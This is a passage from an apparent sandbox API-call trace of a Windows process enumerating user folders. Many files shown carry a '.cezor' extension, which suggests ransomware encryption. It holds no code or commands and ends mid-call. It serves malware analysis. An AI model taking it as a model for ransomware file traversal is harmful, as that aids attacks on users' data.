ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x25c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mJD0Lk7dF2uj7fNWL.doc.cezor", cAlternateFileName="MJD0LK~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fdeb90, ftCreationTime.dwHighDateTime=0x1d52d45, ftLastAccessTime.dwLowDateTime=0x51fc99f0, ftLastAccessTime.dwHighDateTime=0x1d50bdb, ftLastWriteTime.dwLowDateTime=0x1442b070, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x12893, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mpW-3B9.xlsx.cezor", cAlternateFileName="MPW-3B~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x149861f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x149861f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c9e9590, ftCreationTime.dwHighDateTime=0x1d52600, ftLastAccessTime.dwLowDateTime=0x618a1d10, ftLastAccessTime.dwHighDateTime=0x1d52eb4, ftLastWriteTime.dwLowDateTime=0x144511d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1403b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NU9iOZGfDM.xlsx.cezor", cAlternateFileName="NU9IOZ~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf24a4c40, ftCreationTime.dwHighDateTime=0x1d52b93, ftLastAccessTime.dwLowDateTime=0x2c400e40, ftLastAccessTime.dwHighDateTime=0x1d4e4c6, ftLastWriteTime.dwLowDateTime=0x144511d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xc5b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ol37DpMB ADCzniH6.docx.cezor", cAlternateFileName="OL37DP~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5289530, ftCreationTime.dwHighDateTime=0x1d4c6d2, ftLastAccessTime.dwLowDateTime=0x27b31200, ftLastAccessTime.dwHighDateTime=0x1d4cf4f, ftLastWriteTime.dwLowDateTime=0x14477330, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x61a3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OlNTdQSKj.csv.cezor", cAlternateFileName="OLNTDQ~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x14a90b90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14a90b90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a9ba60, ftCreationTime.dwHighDateTime=0x1d5212b, ftLastAccessTime.dwLowDateTime=0xc1bdc00, ftLastAccessTime.dwHighDateTime=0x1d4c58d, ftLastWriteTime.dwLowDateTime=0x14477330, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x3b44, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rMkTON600uD2.docx.cezor", cAlternateFileName="RMKTON~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21e48a10, ftCreationTime.dwHighDateTime=0x1d4b56f, ftLastAccessTime.dwLowDateTime=0x3b6931a0, ftLastAccessTime.dwHighDateTime=0x1d4b49a, ftLastWriteTime.dwLowDateTime=0x1449d490, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x138f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="umnYAxK8Hd5gj.pptx.cezor", cAlternateFileName="UMNYAX~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0410650, ftCreationTime.dwHighDateTime=0x1d4face, ftLastAccessTime.dwLowDateTime=0x5fdd3540, ftLastAccessTime.dwHighDateTime=0x1d528b2, ftLastWriteTime.dwLowDateTime=0x1449d490, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xdc86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yBWTsx0.xlsx.cezor", cAlternateFileName="YBWTSX~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb2db420, ftCreationTime.dwHighDateTime=0x1d4d46f, ftLastAccessTime.dwLowDateTime=0x2d4522c0, ftLastAccessTime.dwHighDateTime=0x1d4cf3c, ftLastWriteTime.dwLowDateTime=0x144c35f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x8de5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yNFdhsIRJWbx9.pptx.cezor", cAlternateFileName="YNFDHS~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5a1350, ftCreationTime.dwHighDateTime=0x1d4ca71, ftLastAccessTime.dwLowDateTime=0x14b02fb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14b02fb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Yw9G-4_B", cAlternateFileName="")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5a1350, ftCreationTime.dwHighDateTime=0x1d4ca71, ftLastAccessTime.dwLowDateTime=0x14b02fb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14b02fb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Yw9G-4_B", cAlternateFileName="")) returned 0 [0122.374] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.374] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.374] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0122.374] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.374] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.374] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.374] PathFindFileNameW (pszPath="") returned="" [0122.374] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.374] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.374] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.374] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0122.374] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.374] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.374] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0122.375] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.375] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.375] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.375] PathFindFileNameW (pszPath="") returned="" [0122.375] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.375] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.375] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.375] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14b4f270, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14b4f270, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0122.375] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14bc1690, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14bc1690, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0122.375] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14c59c10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14c59c10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0122.375] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14ccc030, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14ccc030, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0122.375] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14ccc030, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14ccc030, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0122.375] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.375] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.375] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0122.375] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.375] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.376] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.376] PathFindFileNameW (pszPath="") returned="" [0122.376] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.376] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.376] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.376] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0122.376] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0122.376] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0122.376] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0122.376] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.376] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.376] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0122.376] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.376] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.376] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.376] PathFindFileNameW (pszPath="") returned="" [0122.376] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0122.377] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.377] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0122.377] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.377] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.377] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.377] PathFindFileNameW (pszPath="") returned="" [0122.377] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1468c670, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x1468c670, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.377] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1468c670, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x1468c670, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d22bcb0, ftCreationTime.dwHighDateTime=0x1d4c60c, ftLastAccessTime.dwLowDateTime=0x63b63d70, ftLastAccessTime.dwHighDateTime=0x1d4c6cd, ftLastWriteTime.dwLowDateTime=0x144e9750, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x14ea6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-Utu5uTreh3_BFU.mp3.cezor", cAlternateFileName="-UTU5U~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb85e50, ftCreationTime.dwHighDateTime=0x1d4d4e0, ftLastAccessTime.dwLowDateTime=0xf39d96a0, ftLastAccessTime.dwHighDateTime=0x1d4c60e, ftLastWriteTime.dwLowDateTime=0x1450f8b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x10034, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2ZgBE.wav.cezor", cAlternateFileName="2ZGBEW~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, 